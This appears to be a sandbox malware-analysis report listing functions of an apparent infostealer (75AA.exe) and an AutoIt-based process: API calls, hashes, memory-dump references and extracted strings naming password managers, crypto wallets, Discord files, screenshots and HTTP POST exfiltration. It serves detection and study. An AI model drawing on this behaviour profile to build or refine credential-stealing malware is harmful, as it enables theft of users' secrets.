Instruction ID: 30bc4657907a8afe7c048d7cd60d955b33369e6616d13415484d71e8cf196aee
Opcode Fuzzy Hash: dbabcaed125ab04bcfd9cb21bfb591fa079fdfc85dc32f4c5fbf69ee9fc7446b
Instruction Fuzzy Hash: AA418238A10115DFDB33DF98D484AAD7BF5FF49311F1486A5E6289B296D730A841CF90

Uniqueness

Uniqueness Score: -1.00%

Function 011B63F5, Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 011B642B
__isleadbyte_l.LIBCMT ref: 011B6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 011B6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 011B64BD

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c41fa43ba8d3a98f6a7835153a578f464c046ba433bbf0d89fef2f6d9ab8d6bb
Instruction ID: fb2891dbba99ed6b5ae7c433cf01d210fa42b7fa0053649d58d936b062e4bcf1
Opcode Fuzzy Hash: c41fa43ba8d3a98f6a7835153a578f464c046ba433bbf0d89fef2f6d9ab8d6bb
Instruction Fuzzy Hash: 3931E131600A56EFEB298F79CC84BEB7FA6FF51320F154429E92487190DB39E850CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011E4148, Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 011E416D
Process32FirstW.KERNEL32(00000000,?), ref: 011E417B
Process32NextW.KERNEL32(00000000,?), ref: 011E419B
CloseHandle.KERNEL32(00000000), ref: 011E4245

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ed1bceec6276bf4db22b5d77fc5cd5040d636bba0c107a80c34ecb21ec68a991
Instruction ID: 3680915712b54262d29960c19da1c61911a57dde2fd871ee94074dba78be4af8
Opcode Fuzzy Hash: ed1bceec6276bf4db22b5d77fc5cd5040d636bba0c107a80c34ecb21ec68a991
Instruction Fuzzy Hash: 6D31D6711083439FD719EF94E888AAFBBE8BFA5314F40052DF591C2190EB70E989CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0120CB40, Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

GetCursorPos.USER32(?), ref: 0120CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,011BBCEC,?,?,?,?,?), ref: 0120CB8F
GetCursorPos.USER32(?), ref: 0120CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,011BBCEC,?,?,?), ref: 0120CC16

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: aac0c7b37ee8cc84adbe0f958c3568bbd8f06580eaa61484dea91d397ec6c71d
Instruction ID: 665132a4bb3100d273873681980f138fada7595808d07f48949210d6d39f4c19
Opcode Fuzzy Hash: aac0c7b37ee8cc84adbe0f958c3568bbd8f06580eaa61484dea91d397ec6c71d
Instruction Fuzzy Hash: B831D074610418AFDB26CF58D848EFE7FB5FB09310F044299FA059B2A2D7319961EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0118166C, Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DefDlgProcW.USER32(?,00000020,?), ref: 011816B4
GetClientRect.USER32 ref: 011BB93C
GetCursorPos.USER32(?), ref: 011BB946
ScreenToClient.USER32 ref: 011BB951

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 3e868b3018df37cc0e852548867e5fca79e013fdbe0bbdc1ab9c4d5b79d0e4f5
Instruction ID: b9d1207b8ba5039da80fe90f9168fd49a5185a3bd6a9a81cc1a6846c952d77f0
Opcode Fuzzy Hash: 3e868b3018df37cc0e852548867e5fca79e013fdbe0bbdc1ab9c4d5b79d0e4f5
Instruction Fuzzy Hash: F2114976900019BFCB18EE58D8899FE7BB9FB04204F504855F951E7140D770BA52CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01182111, Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 0118214F
GetStockObject.GDI32(00000011), ref: 01182163
SendMessageW.USER32(00000000,00000030,00000000), ref: 0118216D

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: c3210618651aaf69a3dac0856423770cf01277c4f6ca28d996469bad900f684b
Instruction ID: f0827b995ef54a6887733957d7153204c8f95f7d2902880503c0d872e843b345
Opcode Fuzzy Hash: c3210618651aaf69a3dac0856423770cf01277c4f6ca28d996469bad900f684b
Instruction Fuzzy Hash: D3118B7210124DBFEB1B9EA4AC84EEA7B69EF58254F154112FB0452058CB319CA1DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0120BCA7, Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0120BCB6
_memset.LIBCMT ref: 0120BCC5
CreateProcessW.KERNEL32 ref: 0120BCF4
CloseHandle.KERNEL32 ref: 0120BD06

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 4b8d93cce462bc00bc5c89ead02814c69e7a34749273017914bf170a3ec7d4e0
Instruction ID: 0096ea4325f7e2416c5dadbe44963ff46c7452fc582c2a5a7044ba30e321ea2a
Opcode Fuzzy Hash: 4b8d93cce462bc00bc5c89ead02814c69e7a34749273017914bf170a3ec7d4e0
Instruction Fuzzy Hash: EBF05EB65B03047FE2607BA5BC09FBB7A5DEB18A54F810521BB08E9186D772481087A9

Uniqueness

Uniqueness Score: -1.00%

Function 0120C3C4, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 011816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181738
Part of subcall function 011816CF: BeginPath.GDI32(?), ref: 0118174F
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0120C3E8
LineTo.GDI32(00000000,?,?), ref: 0120C3F5
EndPath.GDI32(00000000), ref: 0120C405
StrokePath.GDI32(00000000), ref: 0120C413

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 65afb1ecb399eb367fdee6c46ba11ea4f860f0ee4c9fe5c23f63b2bfcb37d779
Instruction ID: 46ad5a4029a0e78cc535b484648e509221aaae92c1c83308ab8e35547cc07f7e
Opcode Fuzzy Hash: 65afb1ecb399eb367fdee6c46ba11ea4f860f0ee4c9fe5c23f63b2bfcb37d779
Instruction Fuzzy Hash: D9F09A32001219BBEB23AE54AC0DFCA3E59AF25310F048140FA51211D6CBB512A5EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 011F40B5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 011F4132

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 011F4124
, $, xrefs: 011F4172

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 12b51b6becad51f1861471f27f0c4c81576a01e93eb71c6f601f6b8b706039e2
Instruction ID: 7ee3ac30b05179dd6d49cd158a4645e88b9767730ff2e8ca67f4b1858cac75c1
Opcode Fuzzy Hash: 12b51b6becad51f1861471f27f0c4c81576a01e93eb71c6f601f6b8b706039e2
Instruction Fuzzy Hash: EF21A271B0021EAFCF18EF64C884EAE7BB5EF64754F444469EA15A7240DB30EA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 75AA.exe PID: 5692 Parent PID: 3424 75AA.exeCOMMON

Executed Functions

Function 0042B4DB, Relevance: 179.7, APIs: 34, Strings: 65, Instructions: 6436threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B4E0
CoInitialize.OLE32(00000000), ref: 0042B4FC

Part of subcall function 00435146: OpenMutexA.KERNEL32 ref: 00435191
Part of subcall function 00435146: CreateMutexA.KERNELBASE(00000000,00000000,00000000), ref: 0043519E

CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00431A7C

Part of subcall function 00437E98: GetCurrentProcess.KERNEL32(00000008,?), ref: 00437EAA
Part of subcall function 00437E98: OpenProcessToken.ADVAPI32(00000000), ref: 00437EB1
Part of subcall function 00437E98: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00437ECB
Part of subcall function 00437E98: GetLastError.KERNEL32 ref: 00437ED5
Part of subcall function 00437E98: GlobalAlloc.KERNEL32(00000040,00000000), ref: 00437EE5
Part of subcall function 00437E98: GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 00437EF9
Part of subcall function 00437E98: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00437F0D
Part of subcall function 00437E98: GlobalFree.KERNEL32 ref: 00437F2D

GetUserDefaultLCID.KERNEL32(00001001,?,000000FF), ref: 0042B540
GetLocaleInfoA.KERNEL32(00000000), ref: 0042B547

Part of subcall function 00437F3D: __EH_prolog.LIBCMT ref: 00437F42
Part of subcall function 00437F3D: CreateToolhelp32Snapshot.KERNEL32 ref: 00437FA6
Part of subcall function 00437F3D: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00437FC0
Part of subcall function 00437F3D: OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,00000000), ref: 00438034
Part of subcall function 00437F3D: OpenProcessToken.ADVAPI32(00000000,000F01FF,?,?,?,00000000), ref: 00438046
Part of subcall function 00437F3D: DuplicateTokenEx.ADVAPI32(?,000F01FF,00000000,00000002,00000001,?,?,?,00000000), ref: 00438061
Part of subcall function 00437F3D: CloseHandle.KERNEL32(?,?,?,00000000), ref: 0043806E
Part of subcall function 00437F3D: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 00438081

Part of subcall function 0041457B: __EH_prolog.LIBCMT ref: 00414580

Sleep.KERNEL32(00001388,0047835B), ref: 0042BAD5

Part of subcall function 00434910: __EH_prolog.LIBCMT ref: 00434915

GetUserNameA.ADVAPI32(?,00000101), ref: 0042BCB7

Part of subcall function 0043481D: __EH_prolog.LIBCMT ref: 00434822
Part of subcall function 0043481D: _strcat.LIBCMT ref: 0043487D

Sleep.KERNEL32(00007530), ref: 0042BE6E

Part of subcall function 00422891: __EH_prolog.LIBCMT ref: 00422896

_strlen.LIBCMT ref: 0042BF94
_strlen.LIBCMT ref: 0042BFAE
CreateThread.KERNEL32(00000000,00000000,Function_00016455,00000000,00000000,00000000), ref: 0042C1F2
CreateThread.KERNEL32(00000000,00000000,Function_0001AC93,00000000,00000000,00000000), ref: 0042C204
StrToIntA.SHLWAPI(00000000,00000000), ref: 0042C346

Part of subcall function 00434CBE: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434D0A

Part of subcall function 0043350F: __EH_prolog.LIBCMT ref: 00433514
Part of subcall function 0043350F: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,aD1rF3aM8r,0000000F,004875D0), ref: 00433552
Part of subcall function 0043350F: CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 00433576

Part of subcall function 00412593: _Deallocate.LIBCONCRT ref: 004125A2

Part of subcall function 004123B5: _Deallocate.LIBCONCRT ref: 004123CA

CreateThread.KERNEL32(00000000,00000000,Function_000299A0,00000000,00000000,00000000), ref: 0042C661
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0042C66A
CreateThread.KERNEL32(00000000,00000000,Function_0001AB1E,00000000,00000000,00000000), ref: 0042C216

Part of subcall function 00431CDC: __EH_prolog.LIBCMT ref: 00431CE1

Part of subcall function 00428808: __EH_prolog.LIBCMT ref: 0042880D

Part of subcall function 00437D73: __EH_prolog.LIBCMT ref: 00437D78

Strings

p, xrefs: 0042CDA7
name, xrefs: 0042DF8B
., xrefs: 0042D034
", xrefs: 004318B3
L, xrefs: 0042B98B
N, xrefs: 00431793
longitude, xrefs: 0042D262, 0042D282
S, xrefs: 00430B62
S, xrefs: 0042DBEF
u, xrefs: 0042D7CE
latitude, xrefs: 0042D1EF, 0042D20F
\data.json, xrefs: 0043064B
POST, xrefs: 0042BE13
0, xrefs: 0042F850
), xrefs: 0042CAB5
,gU^, xrefs: 0042B6AE
x, xrefs: 0042FBF6
zip, xrefs: 0042D0F7, 0042D11F
$, xrefs: 00430A5A
.o\CK@GO@, xrefs: 0042B72A
], xrefs: 0042E723
aD1rF3aM8r, xrefs: 0042C670, 0042C6CB, 00430E14
O-r, xrefs: 0042BC82
|, xrefs: 004315D0
G, xrefs: 0042F37B
Z, xrefs: 0042CE89
discord_files\, xrefs: 004303D8
%wPVVLDK, xrefs: 0042B578
sjvw, xrefs: 0042BD7F
w, xrefs: 0042F6FE
pGkQRPmxYCAK4KGIyc8WvZ5WULTIEMaqmMFStU6YQLJYVEJAiHAZOQ== , xrefs: 0042B80F
|, xrefs: 0042E1E9
T, xrefs: 0042F08F
(, xrefs: 0042C85B
Q, xrefs: 004316EA
7, xrefs: 0042F1CF
KUV, xrefs: 0042B6B8
1password, xrefs: 00430759
eL4nZ5eH2n, xrefs: 0042F9F6, 0042FB9A
cij, xrefs: 0042B668
d0c50db6c33e067072fd50c29749a488 , xrefs: 0042B822
\, xrefs: 0042DD97
b, xrefs: 0042D4E5
f, xrefs: 004310B7
wallets\, xrefs: 0043016F
', xrefs: 0042CF90
location, xrefs: 0042CB51, 0042CB59, 0042CC55, 0042CC62, 0042CD7C, 0042CD93, 0042CE68, 0042CE75, 0042CF68, 0042CF7F, 0042D016, 0042D023, 0042D0D7, 0042D0EE, 0042D112, 0042D1E6, 0042D206, 0042D259, 0042D279
GET, xrefs: 0042BA5D, 0042BAF2
8, xrefs: 0042FA1B
r, xrefs: 0042E9E7
sqlite3.dll, xrefs: 0042C47A, 0042C53E, 0042E137, 00430F8F
bitwarden, xrefs: 0043063D
L, xrefs: 0043100B
screen.jpeg, xrefs: 004300CB
_id, xrefs: 004309F5
C, xrefs: 0042D39E
k, xrefs: 0042DCC9
s{|{, xrefs: 0042B5AF
#!, xrefs: 0042B761
qSVdAbi/K2pP5PzejMhd4MMaC6PfWc2m35cDpUqZVrU= , xrefs: 0042B7FF
s|, xrefs: 0042B5BB
O, xrefs: 004318A3
/, xrefs: 0042CB6A
jQ2zX9qC4e, xrefs: 0042D2D1, 00430CD3, 00430F4B
=, xrefs: 0042F505

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog$Create$OpenToken$ProcessThread$DeallocateFileGlobalInformationMutexNameSleepUser_strlen$AllocCloseConvertCurrentDefaultDuplicateEnvironmentErrorFirstFreeHandleHttpInfoInitializeLastLocaleModuleObjectProcess32SingleSnapshotStringToolhelp32UninitializeVariableWait_strcat
String ID: "$#!$$$%wPVVLDK$'$($)$,gU^$.$.o\CK@GO@$/$0$1password$7$8$=$C$G$GET$KUV$L$L$N$O$O-r$POST$Q$S$S$T$Z$\$\data.json$]$_id$aD1rF3aM8r$b$bitwarden$cij$d0c50db6c33e067072fd50c29749a488 $discord_files\$eL4nZ5eH2n$f$jQ2zX9qC4e$k$latitude$location$longitude$name$p$pGkQRPmxYCAK4KGIyc8WvZ5WULTIEMaqmMFStU6YQLJYVEJAiHAZOQ== $qSVdAbi/K2pP5PzejMhd4MMaC6PfWc2m35cDpUqZVrU= $r$screen.jpeg$sjvw$sqlite3.dll$s{|{$s|$u$w$wallets\$x$zip$|$|
API String ID: 376243089-3565995022
Opcode ID: 3a52f4d07fb47dd401600d522a9c9fee0b351fb1cc7b0ab6d0160a2927cb669c
Instruction ID: e94ce00122e4fa82846bea0862bbb1fd7594c71135c77926f87034a1b964e660
Opcode Fuzzy Hash: 3a52f4d07fb47dd401600d522a9c9fee0b351fb1cc7b0ab6d0160a2927cb669c
Instruction Fuzzy Hash: 1AD37D30D052689ACF25E7A5DC62BEDBB75AF25304F4040DEA449732C2DE786BC8CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00433115, Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 303COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043311A
WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,?,0047835B,00000000), ref: 00433168
WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?,?,?,?,0047835B,00000000), ref: 00433235

Part of subcall function 00437CFB: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00437D20
Part of subcall function 00437CFB: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00437D67

WinHttpConnect.WINHTTP(?,00000000,00000050,00000000,?,?,?,?,0047835B,00000000), ref: 00433292
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00800100,?,?,?,?,0047835B,00000000), ref: 00433314
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00000100,?,?,?,?,0047835B,00000000), ref: 00433385
_strlen.LIBCMT ref: 004333B2
_strlen.LIBCMT ref: 004333BC
WinHttpSendRequest.WINHTTP(00000000,Content-Type: text/plain; charset=UTF-8,000000FF,?,00000000,00000000,00000000,?,?,?,0047835B,00000000), ref: 004333D2
WinHttpReceiveResponse.WINHTTP(00000000,00000000,?,?,?,0047835B,00000000), ref: 004333E3
WinHttpQueryDataAvailable.WINHTTP(00000000,00000000,?,?,?,0047835B,00000000), ref: 004333FA
WinHttpReadData.WINHTTP(00000000,00000000,00000000,?,?,?,?,?,?,?,?,0047835B,00000000), ref: 00433425
GetLastError.KERNEL32(?,?,?,0047835B,00000000), ref: 004334DD
WinHttpCloseHandle.WINHTTP(00000000,?,?,?,0047835B,00000000), ref: 004334E7
WinHttpCloseHandle.WINHTTP(00000000,?,?,?,0047835B,00000000), ref: 004334EE
WinHttpCloseHandle.WINHTTP(?,?,?,?,0047835B,00000000), ref: 004334F8

Strings

%99[^:]://%99[^/]%99[^], xrefs: 0043318E
Content-Type: text/plain; charset=UTF-8, xrefs: 004333CC

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Http$CloseHandleOpenRequest$ByteCharConnectDataMultiWide_strlen$AvailableErrorH_prologLastQueryReadReceiveResponseSend
String ID: %99[^:]://%99[^/]%99[^]$Content-Type: text/plain; charset=UTF-8
API String ID: 1550182571-3818427525
Opcode ID: 89b222f332ad95808a4dcea029a5035df48e19ef85aaca8aab2c1e84bb54a9c2
Instruction ID: 895cd0210418aeace856ce6e3d1a536679fccb76024a47a819fcc9431648de90
Opcode Fuzzy Hash: 89b222f332ad95808a4dcea029a5035df48e19ef85aaca8aab2c1e84bb54a9c2
Instruction Fuzzy Hash: 73C16270901218EFDB15DFA5D985BEEBBB8FF09304F1040AAE805A7251DB785B48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00437E98, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00437EAA
OpenProcessToken.ADVAPI32(00000000), ref: 00437EB1
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00437ECB
GetLastError.KERNEL32 ref: 00437ED5
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00437EE5
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 00437EF9
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00437F0D
GlobalFree.KERNEL32 ref: 00437F2D

Strings

S-1-5-18, xrefs: 00437F1A

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Token$GlobalInformationProcess$AllocConvertCurrentErrorFreeLastOpenString
String ID: S-1-5-18
API String ID: 857934279-4289277601
Opcode ID: 7fd0681fea19df5dba31833373d15ba6f3a64dcdbb5177e0ff1ce7ce6f7368be
Instruction ID: cead6bba60a10db50cb2fec9eb9fed126fdd553e9ef975a159cb314d7d00d788
Opcode Fuzzy Hash: 7fd0681fea19df5dba31833373d15ba6f3a64dcdbb5177e0ff1ce7ce6f7368be
Instruction Fuzzy Hash: 0C112E75A04104FBEB209BE1DC88BAF7FB9FF48755F104066E541E1050EB748A04DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 021A003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 021A024D

Strings

cess, xrefs: 021A018D
kernel32.dll, xrefs: 021A008F, 021A0095

Memory Dump Source

Source File: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, Offset: 021A0000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5608c0986769c7ce6a25500f0fde21cc56ac600753bdad1a6bf8025a7d67b1f0
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: DD526A78A01229DFDB64CF98C994BACBBB1BF09304F1580D9E54DAB351DB30AA95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00453434, Relevance: 4.6, APIs: 3, Instructions: 102COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004534C4
_free.LIBCMT ref: 004534DF
_free.LIBCMT ref: 004534EA

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 174564cb3074a2544810fbb0e9cc768b6076f2e446f9b67ef71add39348aa88f
Instruction ID: 0ca2e85d83d7137464a7e364c4d47643d51045b7b4f28735d7599d06a953fc83
Opcode Fuzzy Hash: 174564cb3074a2544810fbb0e9cc768b6076f2e446f9b67ef71add39348aa88f
Instruction Fuzzy Hash: 60216E3250C2006BDF165E79A8527BB7BA5CF83757F24016FED4497343D53E9E0A8258

Uniqueness

Uniqueness Score: -1.00%

Function 00435146, Relevance: 3.0, APIs: 2, Instructions: 40synchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32 ref: 00435191
CreateMutexA.KERNELBASE(00000000,00000000,00000000), ref: 0043519E

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Mutex$CreateOpen
String ID:
API String ID: 4030545807-0
Opcode ID: 31c41ba1dec486880ba3054688290220258283e7379e08871f412edb1085e3de
Instruction ID: 0ad118b497f756d022d6c1dc44d543fb4a495e7f26a66be785e5516a73ecb4b1
Opcode Fuzzy Hash: 31c41ba1dec486880ba3054688290220258283e7379e08871f412edb1085e3de
Instruction Fuzzy Hash: 2CF08111D443C87ADF01ABF94C459FFBFBC5D1A349F00616DE845A3103E5A455458376

Uniqueness

Uniqueness Score: -1.00%

Function 00453393, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004533DB

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 468fbbbce9b65a9a7ae4cf14111dcd3a08628f1db70a3e9b4c17d5a0f5bacebe
Instruction ID: aace2b924423b1b1d06ab9bebf612dae57df8941793e695e5fcfe6b784d2f65f
Opcode Fuzzy Hash: 468fbbbce9b65a9a7ae4cf14111dcd3a08628f1db70a3e9b4c17d5a0f5bacebe
